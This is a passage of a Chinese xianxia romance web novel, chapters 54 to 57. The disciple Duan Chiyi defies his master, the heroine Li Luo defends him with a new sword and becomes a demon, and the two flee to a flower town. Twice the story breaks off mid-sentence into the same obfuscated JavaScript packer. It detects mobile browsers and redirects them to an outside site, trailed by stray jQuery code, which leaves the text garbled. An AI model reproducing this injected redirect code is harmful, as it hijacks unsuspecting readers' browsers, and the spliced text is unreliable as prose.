明明他才是魔尊,他才是混沌之力的主人! 痛恨之余,他不得不面对当下最为紧迫的问题:仙门已经知道了他复活的消息。 珩亦和破妄剑仍是悬在他头上的一把刀,留着这么个克星,始终不能放心。 于是在收到仙门递来的合作消息后,沧宿很快便做出了决定。 既然黎落执意不肯与他同路,他只怕很难短期内获得混沌之力渡过天劫,那就只能先除去珩亦和破妄剑。 左右黎落就算落到了仙门手里,只要混沌之力仍在世间,他就还有机会。 想成魔神,就不能因小失大。 “珩亦死,破妄剑折,魔族大军即刻退离云苍,百年内不再攻打人族。” 至于这“百年之期”能有几分可信,就看沧宿何时能想到收回混沌之力的办法了。 * 仙门。 段迟意踏进正殿。 他第一次走进这里的那天,也和现在一样。 成胥道君高坐上首,问他是否愿意拜他为师,入寒冰域,执破妄剑。 魔族入侵人界,青崖城全城战死,固然令人惋惜。 但追根究底,是青崖城守军先丢失玄铁导致的,如今全城灵魂化作封印一部分镇压魔族,也算将功补过。 既然魔尊已死,仙门便不再追究。 只是需要有人拿起破妄剑,肩负除魔之责。 段迟意同意了。 可惜他虽天赋卓绝,却是青崖城守将之子,仿佛一个难以抹去的污点似的。 纵使魔族入侵时他不在场,但人言可畏。 若以罪人之子成仙门首徒、执除魔之剑,未免遭人非议。 “除魔为要,你得为大局着想。” 自此,段迟意这个人彻底消失,只余“珩亦”。 寒冰域中两百年,严寒刺骨,煞气伤魂,他没有一刻不想着,父母亲族的灵魂皆在极渊之下,为压魔族难以安息,他又有什么资格退缩? 他越早破冰,越早拿起破妄剑,青崖城的族人就越早得以解脱…… 他不能有丝毫畏惧、放弃的念头。 他不能退! 两百年如大梦一场,出冰之时,他已是仙门首徒,破妄剑主,妖魔畏惧的珩亦仙君。 没有人再记得青崖城,世人只知极渊深险,为魔气深重之地。 而珩亦仙君,是会拿着破妄剑深入极渊,用命为三界除魔的英雄。 …… 段迟意收回思绪,抬眼看向最上方、以分身出现的师尊——成胥道君。 这是自他入寒冰以来,师尊第一次用分身见他。 成胥亦在打量自己这个徒弟。 毫无疑问,珩亦是他最为杰出的弟子。 寒冰域苦寒,多少弟子望而生畏,更别说一留就是两百年,还能破冰而出,可知其毅力之坚。 其后更是以破妄剑斩妖除魔,战无不胜。若非破妄剑剑意“以命相换”,或许他会成为最有机会得道之人。 可惜…… 魔为天地所生,秉性嗜杀,魔尊沧宿更是其中最为狠毒之人,混沌之力在手,还妄图用三界无辜生灵成杀阵,助他历劫成魔神。 仙门守护苍生,又岂能坐视不理,任由三界落入沧宿手中? 可魔气生自人心,人与魔同在天地之中,他们若不付出足够代价,又怎么能彻底铲除魔族,为天下苍生争得生机? 他不觉得自己错了。 “珩亦,你可知罪。” 段迟意沉默,没有依言下跪。 成胥见状,缓缓眯起双眸,道君灵力猛得散出,压得段迟意脸色顿时更加苍白。 他身形一顿,失去一半神魂后修为大减,终是被巨大的修为差压制住,被迫跪地。 成胥看着这个被他压制着跪在地上,却仍旧背脊挺拔如松的弟子,面露失望: “看看你成了什么样子!” 他拂袖,声音带着恨铁不成钢的怒意: “竟将神魂割给一个拿着混沌之力的凡人!你是忘了青崖城的惨剧,忘了两百年寒冰之苦了吗?” 以往他只要提到“青崖城”,珩亦就会立马低头认错。 虽然与他无关,但这个过分善良正义的弟子到底是被族人的罪责绑架,不得安宁。 但现在,段迟意反而抬起了头,双目如星直视着上方的道君: “弟子正是想到了青崖城的族人,才会如此行事。无辜之人惨死,才是辜负了青崖城全城魂灵,辜负了两百年寒冰之苦!” 成胥骤然被他顶撞,猛得站起,声音顿时带上不悦: “你现在是在责怪本座?” 段迟意低头不语,姿态却说明了一切。 成胥盯着他,神色几经变换,最终长叹一声,说道: “当日做此决定,确实不够磊落。但沧宿杀阵将成,三界危在旦夕,仙门不得已出此下策,你修行多年,合该想通——” “与三界生灵的安危相比,青崖城,不值一提。” 段迟意冷冷看着他: “师尊总知道什么是更重要的。” 成胥看着他: “你在嘲讽本座?” 段迟意垂首:“弟子不敢。” 成胥端详他片刻,又问道: “纵使当日之事是仙门对不起青崖城,可这与沧宿和混沌之力无关,你何时变得如此公私不分,只因一时之气便置苍生于不顾?” 段迟意冷冷一笑,忽然道: “师尊错了。” “什么?” 段迟意没有看他,而是低头看向自己手中收刃入鞘的破妄剑。 这把剑其实并不像黎落以为的那样好,实在冰冷得很、沉重得很。 他没了一半神魂后,修为不足,拔不出这剑,反而觉得轻松许多。 “师尊用青崖城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568503|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的真相欺骗弟子两百多年,原是看轻了弟子,也看轻了天下苍生。” 成胥一愣。 段迟意将破妄剑放在面前地上,拱手在身前,朝上方拜下: “弟子不悔。” 两百年寒冰苦域,不悔。 持剑守苍生七年,不悔。 决意用命祭剑,不悔。 割下神魂救黎落,不悔。 …… 他问心无愧。 若说有什么后悔的…… 便是一时吃醋抢回了烟锦纱,如今此物只怕再难回到黎落手中。 而张师弟一番苦心,到底是要无人可知了。 不过,倒也很好。 段迟意不禁莞尔。 最上方,成胥道君却好似被惊雷重击一般,因着段迟意的话目露讶异,久久不能言语。 他是不是……真的错了? 可到了他这般地位高度,行事早已不是简单的“信与不信”、“对与不对”。 他不能赌,他不能犹豫,他背负着三界生灵的命,他必须有所取舍,他必须做出这个决定。 心软之人,瞻前顾后之人,终究只会两者皆失,一个也护不住。 纵使是错,也是无错。 成胥道君闭目,不再看向段迟意。 道君本命剑“却水”自他身后浮起,剑气重而可怖,刺向段迟意的方向。 破妄剑察觉到杀机,本能飞起护主,挡在段迟意身前。 但破妄剑意在斩魔,持剑者肯用性命献祭才能发挥其最高实力,如今自发挥剑,在道君剑意面前,根本毫无胜算。 “咔嚓”一声,连剑带鞘一同断成两半。 破妄剑断,“却水”的剑锋已至段迟意面前。 段迟意神色不变,看向这个自己信赖了两百多年、最后却要取他性命的道君、师尊。 他忽然想到,是否黎落当日悲痛欲绝、一心求死时,也是遇到了这样不敢面对、睁眼就会感到绝望的情境? 她那样诚挚的心性,又是被人如何欺骗戏弄,才会决意走到漠视、憎恨这个世界的地步? 只是他若贸然说自己懂她,或许会被她当成玩笑,用各种漫不经心的言行敷衍过去。 她讨厌这个世界,自然也会讨厌这个世界里的他。 他已经没有机会,再等她喜欢上他了…… 段迟意闭上了眼。 一前一后两道光就在此时忽然出现,紫与黑像两道交错迸发的火焰,带着燎原之势,直直冲向“却水”的剑尖。 “噗嗤”一声,烟锦纱率先支撑不住,断裂成两半,随后又在空中燃烧,化为灰烬落地。 张少荣的炼器水平着实高超,竟能将烟锦纱改造成能和道君剑意对上的法器。 在燃烧着的火焰背后出现的,是一柄漆黑长剑,细薄剑刃杀气凛然,幽蓝鲛珠却在剑柄上发出柔和清冷的光,让凌厉凶残的剑势也变得不那么暴戾。 持剑人不会用剑,双手握着剑柄,手腕连同整个人都在颤抖。 黎落只觉自己整个口腔都泛上了血腥气,若非有烟锦纱挡在前面,她只怕早连着剑一起被砍成了两半。 可她不敢松手。 她用剑,挡在段迟意身前。 她不能松手。 55. 第 55 章 剑锋相撞。 “却水”剑意密不透风,如深海之渊,暗藏险境; 黎落手中剑却杀气磅礴,毫不掩饰地外露。 混沌之力催动剑气,锐不可当,劈水斩浪,整个大殿都被这突如其来的一撞冲击到,灵玉成粉,仙宝断截,雕栏玉砌寸寸碎裂。 仙门无处不再的守护法阵亦受到冲击,迸发出极强的亮光,随之发出龟裂破碎之声。 黎落就站在这足以毁天灭地的冲击波的正中央。 她的发簪被“却水”的剑意震碎,乌发半散,衬得脸色极白,一双眸子似宝石生辉,比天际迸发的阵法光芒还要耀眼。 她握着手中长剑,迎着“却水”剑锋,单薄的背影却显得格外坚定,一动不动地挡在段迟意身前。 段迟意从容赴死的漠然和冷静顿时消失无踪。 他的声音满是不可置信: “黎……落?” 听见他的声音,背对着他的身影一颤。 下一刻,黎落转身,那张令他心神俱颤的容颜便清晰地落入他眼眸中。 一团温热猛地扑进他的怀抱。 段迟意本能伸出双手,将她揽进自己双臂间。 她跪坐在他身前,整个人都埋在他怀里,在碎裂一地的碎玉间相拥。 “段迟意……” 他手揽在她腰间,听见她的声音在耳畔响起,带着微不可查的颤抖: “你怎么差点死了?” 他伸手将她抱得更紧,像是要把她揉进自己身体里: “你怎么来了?” 黎落吸了吸鼻子: “我要送你一把剑,你不回家,我只好来找你了。” 说着,她分神瞥了一眼地上断裂的破妄剑,压下心里的酸涩,故意说: “破妄剑断了,那我送的剑,一定是最好的了。” 段迟意失笑。 不少仙门修士闻声而来,见到正殿如今的模样,纷纷露出慌乱神色。 黎落身上有珩亦一半神魂,闯仙门阵法如入无人之境。 他们没有防备,因为没人想得到,在云苍被仙门、魔族为困之际,这个凡人竟如此大胆,敢直接闯进仙门,还敢和成胥道君正面相抵! 她简直是疯了! 成胥道君拦下弟子动手的动作,目光落到了黎落手里的剑上。 能挡“却水”一剑,绝非普通之物。 他瞳孔一缩,忽然认出这东西: “玄铁?” 玄铁竟然真的能法器? 黎落闻言转身。 四面已围了一圈修士,“却水”剑势未收,立于成胥道君身侧,剑尖正对着她和段迟意的方向,封死了他们所有的退路。 黎落双眸泛上黑意。 她手中剑气势凶残,杀意太重,与她身上迸发的混沌之力如出一辙,不是守护之剑,而是杀生利器。 纵得珩亦一半神魂,仍无半点正道气息。 方才两人相拥在一起的场景一览无余,他这弟子,分明是耐不住大道孤寂,爱上了这个凡人,宁可舍弃一半神魂,也不肯将其交给仙门处置。 成胥眼中露出厌弃之色: “珩亦,你竟然为了这个祸端背弃师门?真令为师失望、令仙门蒙羞。” 段迟意还未说话,黎落已冷笑一声。 “背弃?” 她挡在段迟意前面,作为在场唯一一个凡人,丝毫没有露出被修士围攻的慌张: “真是好笑,你把他当成过自己的徒弟吗?你害死他的亲人,毁了他的家乡,用谎言让他愧疚了两百多年,最后还要逼他去死,你有什么资格谈‘背弃’?” 场中一人忍耐不出,长剑出鞘,呵斥出声: “你敢放肆!” 黎落毫不害怕,混沌之力凝在剑尖,杀气腾腾,反倒叫那人动作顿住。 说完,她左右环顾一圈,眼里全是对在场中人的鄙夷: “先是指着他去祭剑,现在又想用他换魔族的承诺,你们的所作所为,才是真正令三界蒙羞!” 成胥尊为道君,所到之处无不臣服,这还是他第一次被一个凡人指着鼻子痛骂。 他面色不变,“却水”剑忽而一转,携带浓重杀意指向黎落双眸。 段迟意一惊,当即想要挡在黎落身前。 黎落却不肯躲到他身后,昂着头看向剑锋后的成胥,混沌之力一层层扫过剑锋,非魔非仙的气息危险难辨,激得不少人本命法器蠢蠢欲动。 有修为低者,甚至被混沌之力逼得站立不住,摔倒在地上。 成胥见状,看向段迟意,道: “珩亦,这就是你觉得无辜的人?” 他缓缓摇了摇头,用一种极为不屑、洞察一切的语气说: “凡人视野受限,往往自私短视。此女更是心性不定,手握屠刀,自以为可以与天地一争。然无知者持刀,只能害人害己。” 他声音冷酷,带着上位者的漠然,说出的话却让黎落愤怒不已: “本座给你一个机会。” “你凡人之躯,若非用神魂维系,早该破碎死亡。用珩亦的修为性命换你苟活,想来你也不肯。” “既如此,交出混沌之力,魔族再无崛起之机,只牺牲你一人,珩亦、还有这天下苍生,都可以活着。” 声音含着道君威压,叫人情不自禁想要信服: “这笔买卖,你不亏。” “不行!” 段迟意猛地出声阻止,想要把黎落拉到自己身后。 但黎落已抬剑指向成胥: “你以为你就是公平、就是正义吗?你凭什么高高在上决定别人的生死?你有什么资格评判别人的价值?” 成胥眼里带着看待无知孩童时的讥讽: “凭我道君修为、仙门之主,当为三界生灵决断。” 黎落气得双手发抖。 她觉得自己心里有一团火腾得一声烧了起来。 两百年前被牺牲的青崖城,如今被牺牲的段迟意,被剧情和系统牺牲的两河镇、封樾、还是她自己,以及更多更多的连名字都没有的为所谓“炮灰”、“配角”…… 一人踩在高处,说脚下天地如棋,可随意牺牲抛弃; 殊不知自己也在棋盘之中,头顶上,还有比他更冷酷更无情的存在! 谁又能永远不被拿来权衡价值、不被所谓的大局抛弃呢? 黎落气到极致,反而觉得平静。 “两河镇出事的那天,我一直觉得,等不到仙人拯救,是我们不够幸运。” 她看向自己手中剑: “但现在我知道了,在上位者眼里,无能和弱小本就是种罪责。” 她转向段迟意,双手将剑平举: “此剑名——坠雁平沙。” 段迟意目光一颤,听见她用郑重的语气说: “纵使破妄剑还在,坠雁平沙,也未必会差。” “这是我答应过你的,送你一把比破妄剑更好的剑。” 段迟意抬手,轻触剑身。 长剑与他共鸣,嗡鸣不休。 这确实是一把,比破妄剑好的多的剑。 黎落竟然真的寻到了。 段迟意屈指,握住剑柄。 尾端鲛珠在那一瞬间发出明亮的光,如海底明珠,冲散暗沉。 两人一同触摸到鲛珠的一瞬间,那尾红色游鱼仿佛终于获得了自由般,从幽蓝海水中一跃而起,在半空中形成幻影,围着两人游动一圈。 鱼尾溅起涟漪,仿佛真有水珠飞跃而出,推着海浪前行。 段迟意神色怔愣。 黎落已松开剑柄,鲛珠幻象顿时消失。 她抬眸望着他,虽隔着面具,却仍能看到他一双冷黑双眸,里面倒映着她。 “段迟意,我决不让出混沌之力。” 段迟意抬臂揽住她,声音如碎石击玉: “好。” 话音落,成胥忽然动手,仙门弟子摆出剑阵,金光结印成网,将黎落二人困于其中。 段迟意早有准备,抬臂将黎落护住,坠雁平沙横划出去,纵使修为不足,仍借着剑意撕开剑阵。 布阵的弟子被他剑气冲散,剑阵破碎。 段迟意一手抱着黎落,一手以剑开路,径直闯出正殿。 成胥见状冷哼一声,心道“不自量力”。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568504|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负手而立,身形却在数息之间移出幻影。 下一刻,“却水”剑锋已再次撞上坠雁平沙。 段迟意剑势比黎落更强,两柄宝剑相触瞬间,飞沙走石延伸至数十里外,巨大的冲力将仙门山头都削落一片。 黎落被段迟意剑气护着,丝毫没有被冲击所伤。 但她却敏锐地察觉到,段迟意身形一顿,呼出的气息更加寒凉,揽在她腰间的手臂也如同冻实的寒冰一般僵硬,却牢牢护着她,不让她有丝毫危险。 她抬头,他却毫无破绽,只低头冲她安抚一笑: “别怕,我定能护好你。” 黎落眼眶一酸。 成胥出声揭穿他的谎言: “珩亦,失去一半神魂还敢接本座一剑,寒冰之气反噬,你真以为能救得了她?” 段迟意不为所动,淡淡开口: “请师尊赐教。” 成胥彻底被他激怒: “好啊,好啊,本座真是教出了一个好徒弟!” 话音落,道君一手掐诀,“却水”剑身顿时光芒大盛,其他弟子认出了这一招,不禁惊呼出声: “山海覆!道君竟用了山海覆!” “上次见着此剑招还是斩杀沧宿之时,道君果真要对珩亦师兄下死手!” “却水”剑下山海倾覆,寸草不生,昔日青崖城满城冤魂便在成胥道君此剑招下被彻底封印,背负两百年骂名不得转生。 如今他竟要用此法,再压段迟意! …… 黎落一点点攥紧拳头,袖口的蝴蝶结被她的指甲掐进肉里。 掌心隐隐作痛,但心里的愤懑压过了这份痛,甚至灼烧得她心跳加速,双目泛红。 她感觉段迟意的神魂在她体内,和她一起喧嚣着这份滔天的恨。 如何才能不恨? 如何才能在这样的戏耍继续忍受自己的弱小,继续当那个被人随意摆布的棋子? 她不肯,段迟意也不能! 段迟意只觉自己心口一凉,黎落的手按在上面,一道熟悉的气息猛得钻进了他的身体。 他猛地低头看向她。 经脉被灵力洗刷,失去的神魂再度复位,久违的力量回归,坠雁平沙与他的剑意更加契合,握剑时再无滞涩之感,轻易便挥出足以撼动天地的剑气。 混沌之力成剑影,虽无剑势,却因着那满腔恨意和决心,竟与坠雁平沙并行,不避不让地迎向“却水”剑锋。 冰雪凝,沙石碎。 “却水”落,鸿雁起。 成胥道君,竟然败了。 分身骤然碎裂,正在闭关的成胥道君本体脸色一白,呕出一口鲜血,只觉周身气息紊乱。 这混沌之力被催动后,竟能爆发出如此蛮横的力度! 他抬袖擦血,目中冷意更甚。 想来黎落一届凡人,没了神魂,还用混沌之力和他道君修为相碰,爆体而亡只在顷刻之间。 他于闭关之地等候消息。 然而段迟意怀中的黎落并没有爆体而亡。 相反的,她神色平和,丝毫没有上次失去魔魂时的痛苦模样。 她抬手,在段迟意的默许下抚上他的面具。 戴着面具的仙门首徒、珩亦仙君,曾经是她在此世间最畏惧的仇敌。 但…… “水流心不惊,云在意俱迟。一心不赘物,古今自逍遥。” “想来他们也曾盼你,无拘无束,安乐自在。” 说罢,她摘下他的面具,露出那张她一见便心生欢喜的容颜。 段迟意一双黑眸点漆似的,一眨不眨地望着她,好像全世界只有她一人。 她冲他露出笑颜。 松手,面具坠落,混沌之力同时在她指尖浮现,将仙门强加在段迟意身上的枷锁彻底打成粉末。 黎落散落的发丝忽而飘动。 魔气在她双眸中凝聚,从心脏生发,朝着周身经脉延展,逐渐将飘摇的混沌之力彻底锁死在她体内。 从此,她不再需要依靠任何人的力量,她完完整整拥有了这份足以撼动天地的力量,她就是混沌之力、真正的主人。 ——黎落,成魔了。 56. 第 56 章 有关仙门的记忆的最后,是段迟意拥抱住她,在她眉心落下的一吻。 像初春的风,吹散一切刺骨的严寒,温和包容,生机勃勃,叫人心生期待。 他的声音在她耳畔响起,带着点笑意: “黎落,我们逃吧。” * 人界,百卉城。 黎落头上顶着一个鲜花绿叶交缠编成的花环,在花丛里蹲守了不知多久。 直到她打到第三个盹儿的时候,才终于听到猎物上钩、笼子锁扣合上的声音。 她急忙爬起来,抖落一身花瓣,顾不得去看挂在花枝上的花环,伸手将那可恶的偷花贼从笼子里揪了出来。 毛茸茸一团,巴掌大,上半身像兔子,尾巴却像松鼠,整体看着却又像老鼠。 刚被黎落从笼子里拿出来,那四不像的“贼”便一个劲儿得抖了起来,看着害怕极了,像是下一秒就要把自己活活吓死。 没想到抓住的是这么个小东西。 黎落愣了一下,手指忽然传来剧痛。 她吃痛松手,那“偷花贼”便趁机挣脱她的手,跳到地上后飞快消失在花丛深处,只在她掌心留下一朵啃了一半的花,以及食指上一个鲜红的血珠。 蹲守一整天,非但没抓着,竟还被它咬了! 黎落怒气冲冲地回了屋子,左右转了一圈,将桌子上的水壶提起来,朝着自己的手一冲乱冲。 血珠被冲走,伤口没有立马愈合,很快又溢出了新的血珠。 她暴躁地甩了甩手上的水珠。 一人从背后靠近她,准确抓住她的手腕,将她整个人都圈在怀里,另一只手拿了一块细布,帮她仔细擦干。 清冷的香将她包裹着,平复了心里的烦躁。 黎落仰头,后脑勺便顶在段迟意胸膛上。 手被段迟意抓着,她冲他眨巴眼睛: “段迟意,我被贼咬了。” 擦干水后,段迟意没有松开她的手腕,而是顺势握住。 他的手指修长有力,将她的手完全包裹住,闻言摩挲了一下她的指尖: “疼吗?” 黎落在他怀里夸张地点头。 段迟意微不可察地笑了一下,在被黎落发现前,已换了副担忧神情: “不好,那贼有毒。” 黎落“啊”得一声。 段迟意郑重其事地看着她的指尖,声音也变得严肃: “你有没有感到头晕不适?” 看见他这副模样,黎落自己也拿不准了。 难道那长的像老鼠一样的东西真的有毒? 可是她刚刚没发现啊? 黎落从段迟意怀里钻出来,右手仍被他拉着,只是换了个方向,两人面对面站着。 她也下意识看向自己的手指,那上面留着个细小的口子,隐约的红从表皮渗出来。 段迟意的目光严肃、担忧、凝重。 看得她莫名也跟着紧张。 “真的有毒吗?” 黎落不禁皱眉:“被你这么一说,我好像真的有点头晕……” 她想抽回手,好仔细看看那伤口。 谁知段迟意非但没有松手,还忽然低下头,猝不及防吻上她指尖。 十指连心,柔软的触感带着点冰凉,仿佛一片雪花轻轻飘落在她心口…… 黎落的心脏蓦地一跳。 她意识到段迟意在耍她,但是却没能发出火来。 因为她感觉到那两片双唇并不只是简单地贴在她指尖,反而微微分开,几乎是将她的指腹都半含进去一般,潮湿温热的气息触碰她的指尖皮肤,来回轻啄…… 黎落手腕一颤。 段迟意已抬起了头。 他眉眼间带着笑意,五指扣在她手腕上轻轻摩挲,感受到她的脉搏跳动得格外快。 他一眨不眨地望着黎落,双眸中水汽弥漫,低声询问: “还疼吗?” 黎落愣了两秒,回过神来。 她猛得抽回自己的手,这次没有遇到阻力,很轻松地脱离了段迟意的“挟制”。 “你吓唬我!” 她不高兴,发出指控: “我都被你吓得头晕了!” “抱歉。” 段迟意道歉说的熟练,回回叫她哑口无言。 黎落撅嘴,“哼”了一声。 段迟意伸手,从她头上取下一片白日里残留的花瓣,又道: “你还真怪我?也不看看现在是什么时辰了。” “什么时辰?” 黎落扭头,发现窗外已是夕阳落幕,月华满墀。 她昨天跟段迟意说自己要吃虾饺水晶包鲜花饼和糖油果子,今天一大早他就去忙活着做饭。 自己原本想跟着去吃新鲜热乎的,谁知竟被那偷花贼打断,她在花丛里一蹲就是一整天,全然忘了吃饭这回事! 这会儿她才看见,桌子上还摆着个食盒,似乎等了她很久。 黎落顿时心虚。 但她仍一副理直气壮的模样: “我本来就想晚上当夜宵吃的,现在正是时候。” 段迟意静静看着她。 黎落自知理亏,不与他的目光接触,左顾右盼一番后,这才若无其事地从他身侧绕去到桌子旁,拿起盘子里的点心便朝嘴里塞。 本打算囫囵咽下去给他个面子,谁知那点心蒸得极好,表皮松软,内里流心,甫一咬开便盈了满嘴清甜。 黎落眼睛一下子亮了起来,来不及咽下去便连连点头: “好吃好吃!” 这回是真心实意的。 看见她这副样子,段迟意哪里还维持得住冷漠的神情。 他上前,给黎落身后摆了个椅子,她便立刻坐了下去,一边伸手在盘子里拿吃的。 段迟意又将盘子朝她面前移了移,忍不住提醒她: “慢点吃。” 半个月前,两人从仙门离开。 为了避免给云苍城和穗穗等人带来麻烦,他们在妖界和人界绕了一圈,甩开仙门和魔族的追兵,到了百卉城。 此地四季如春,百草丰茂,更多鲜花,黎落很是喜欢。 他们便在此买了院子暂住。 黎落入魔后,气息和容貌产生了微妙的变化。 好在百卉城全是普通人族,看不出来,只当他们是一对儿年轻漂亮的人族夫妻。 不过魔气到底没有灵力舒服,黎落还不适应当魔的感觉,糕点吃到一半,就开始皱着眉按着太阳穴叹气。 段迟意坐到她身边: “又头疼了?” 黎落垂着头,闷闷地“嗯”了一声。 段迟意凑近她,用手扶住她的脸,指尖带了点灵力,指腹轻柔有力地在她额头上打着转,像往常一样帮她缓解疼痛。 黎落先是怏怏地垂着眼,后来觉得舒服了,又抬起眼盯着他看。 段迟意和她距离很近,呼吸间有温凉的风拂在她下巴上。 他的皮肤很白,五官格外精致,彻底没了“珩亦”这层身份的伪装后,眉眼间多了几分迟到许久的少年意气。 垂眸看着她时,眼神温柔神态温和,一心沉浸在帮她舒缓疼痛上。 意识到黎落在盯着他,段迟意微微勾唇:“怎么了?” 黎落没说话。 下一刻,她忽而支起上半身,速度极快地在他唇上一贴。 随后便像个偷香窃玉成功的小狐狸一样坐回原位,眼里透出狡黠的笑意,却还是要摆出一副可怜兮兮的样子: “头好痛啊段迟意,你今天怎么没用了。” 段迟意的手指一顿。 黎落眨巴着眼望着他。 他不着痕迹地移开视线,又继续帮她揉了一会 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她下意识闭上眼睛,感受到他放在她脸侧的手一点点升温,先是手心,最后连指尖都带着让她忍不住贴近的暖意。 他的唇瓣格外柔软,韵着香甜,好像一抿就能融化在她双唇间似的。 黎落忍不住伸手拉他衣服,牙齿跃跃欲试,轻咬他的唇。 ——却被他舌尖抵住。 黎落悄悄睁开眼,看见面前人眉眼带笑,一双眼睛好像盛了满池春水一样,亮晶晶,水盈盈,却温柔地好像能将她整个人都包裹进去。 她“偷袭”未果,暂败下风,只得由着他在她唇齿间来回游移。 她在他轻柔的舔舐中缓缓闭上眼睛,心脏砰砰直跳,觉得格外欣喜,却又从欣喜中感受到几分莫名的空虚和迷惘,攥着他衣襟的手指不由得更加用力。 段迟意有所察觉,但并未停下动作。 放在她脸侧的手轻轻抚摸过她的脸颊、眉眼,而后一手托着她下巴,一手抚着她脑后,让她完全陷入他的拥抱中,再次加深了这个吻…… …… 黎落混沌的思绪是被院外传来的尖叫声喊回来的。 她整个人都在段迟意拥在怀里,不知何时坐到了他腿上。 段迟意垂着头,乌发落在她肩上,像一张密实的网将她笼着。 他的唇仍和她贴着,含糊不清的声音溢出:“别管……” 黎落:“……” 她想推开他,段迟意的手却扣着她不松。 她整个人被他抱着,脚下悬空无处着力,很快便被他亲得晕晕乎乎,忘了自己要说什么。 直到下一道比方才更加尖锐的尖叫声传来,黎落才终于有了力气,从段迟意嘴里抢回自己的唇舌。 她“嘶”了一声,感觉嘴巴发麻滚烫,好像已经不是自己的了。 怒瞪段迟意时,却发现他也双唇红肿,甚至嘴角还溢出了血丝…… 她好像成功咬到了…… 不是…… 黎落摇了摇头,收回思绪: “刚才的叫声,好像是隔壁吴婶儿的。” 段迟意的目光从她红肿艳丽的唇上移开,不情不愿地“嗯”了一声。 他的手又轻触她的脸,试图引诱她: “不是什么大事,不用管,我们……” 黎落拍开他的手,毫不犹豫地从他腿上跳下,打断他的话。 “万一有要紧事呢?还是去看看的好。” 怀中温软一团顿时消失不见,房门大开,冷风二话不说就灌了进来,吹散一屋子暖香。 段迟意面对着敞开的门,温柔缱绻的神色被冷风吹散,仿佛浑身都在散发怨气。 但黎落态度坚定,甚至没有回头看他一眼。 他只得跟着黎落出了门。 57. 第 57 章 吴婶今天一整天都心神不宁,入夜了还睡不着,索性起来看看自家养的花。 谁知竟见到一地残花,有的连根茎都被折断了。 百卉城家家养花人人爱花,她尤其宝贝自己这一院子的茉莉,恨不得当成亲生的子女疼着。 竟不知被哪儿来的贼毁了?! 吴婶愤怒之下大喊一声,吓得屋中熟睡的丈夫和儿子纷纷挑灯披衣起身来看。 但她没管那一老一小耷拉着眼睛不明所以的傻样,径直沿着花被踩坏的印子朝院外走去。 她倒要看看,是谁胆大包天,敢动她吴大娘子的花! 吴婶怒气冲冲地出了院子,一抬头,看见一只足有半人高的巨大的花栗鼠。 对方腮帮子塞得很鼓,两爪在身前,捧着一大捧茉莉花往嘴里塞,还有雪白的花瓣从那难以合拢的嘴缝里露出半片。 见着有人来,黑豆似的眼睛露出明显的惊慌。 吴婶也愣了。 她与这妖对视半晌后,一人一妖齐齐爆发了一声惊天动地的尖叫。 这声尖叫像是打开了什么开关,花栗鼠也顾不上继续嚼了,急忙将手里的花朝嘴里塞,塞不下的只能掉在地上,而后两爪落地,松鼠似的尾巴高高扬起,扫过吴婶的脸,转头朝黑暗深处跑去了。 …… 吴婶说完,丈夫和儿子齐齐露出“真的假的”的表情。 吴叔警惕道: “若真是有妖,只怕还会再来,我们这一家子肉体凡胎的,这可如何是好啊?” 吴婶横眉竖眼,闻言大怒道: “凡胎又如何?敢来偷老娘的茉莉,老鼠头给它拧掉!” 说着她就要回去取铁锹菜刀,一副今晚就得跟妖怪拼命的架势。 吴叔和儿子急忙拦住她: “别急别急,那妖已经跑了,你现在能追去哪儿啊。” 听了全程的黎落也说: “是啊吴婶,今晚那妖应该不会来了。” 吴婶于是停住脚步。 她对隔壁住着的这对儿年轻夫妻很是喜欢。 性子好,安静,关键是人还长的俊俏。 往那儿一站,跟一对儿璧人似的,几乎要把她院子里的茉莉花都比下去。 吴婶收回思绪,愁眉苦脸道: “其他的花吃了便吃了,只是中间有一株名品茉莉,花种十分稀有,我亲眼见着,被夹在那妖怪的尾巴里带走了……” 黎落看了段迟意一眼。 他出声道:“我会些捉妖本领,或许可以一试。” 吴婶一家意外之余连连道谢。 黎落和段迟意于是没有回去,寻着妖气进了后山。 月朗星稀,深林静谧。 黎落忽然拍了一下段迟意胳膊: “你是不是早知道是来偷花的妖?” 手被对方顺势握住,他轻轻地“嗯”了一声。 黎落转回头,和段迟意并肩走着。 雾气迷蒙的小路十分狭窄,段迟意和黎落的胳膊几乎贴在一起。 她率先朝前走了两步,又被段迟意拽住,他迈了一大步到她身边: “别走太快。” 黎落于是放慢了步调。 两人再度紧挨着,热意从相触的皮肤传到她这边。 夜风微凉,送来甜甜的花香。 黎落不小心踢到了一个果子,骨碌碌滚出好远,她忽然来了兴致,扭头看向段迟意: “你还记得,我讲的那个故事吗?” 段迟意点头,道:“记得。女主喜欢上一个垃圾渣男。” 概括的太精准了。 黎落在心里赞叹。 她说:“现在故事有后续了,我要讲给你听。” 段迟意微微侧头,摆出十分期待的姿态。 黎落拉着他的手甩了甩,很是开心的样子,声音轻快,像林间展翅飞过的鸟: “渣男死了,女主爱上了别人,他们过上了快乐的生活。” 段迟意问:“渣男怎么死的?” 黎落漫不经心道:“不小心摔死的。这种书都很没有保障的,作者一不高兴,就会把角色写死。” 段迟意忍不住一笑。 他轻轻地“嗯”了一声,却又问道: “那……女主喜欢后来那个人吗?” 黎落摇头晃脑: “当然喜欢了!” 段迟意又问:“有多喜欢?” 黎落停下步子,她手上用力,段迟意也被她扯着站住。 